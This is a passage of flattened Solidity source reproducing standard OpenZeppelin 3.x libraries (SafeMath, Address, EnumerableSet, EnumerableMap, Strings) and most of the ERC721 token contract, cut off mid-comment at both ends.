(when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require( set._values.length > index, "EnumerableSet: index out of bounds" ); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping(bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set( Map storage map, bytes32 key, bytes32 value ) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({_key: key, _value: value})); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require( map._entries.length > index, "EnumerableMap: index out of bounds" ); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get( Map storage map, bytes32 key, string memory errorMessage ) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set( UintToAddressMap storage map, uint256 key, address value ) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get( UintToAddressMap storage map, uint256 key, string memory errorMessage ) internal view returns (address) { return address( uint160(uint256(_get(map._inner, bytes32(key), errorMessage))) ); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + (temp % 10))); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping(address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get( tokenId, "ERC721: owner query for nonexistent token" ); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require( _exists(tokenId), "ERC721Metadata: URI set of nonexistent token" ); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return 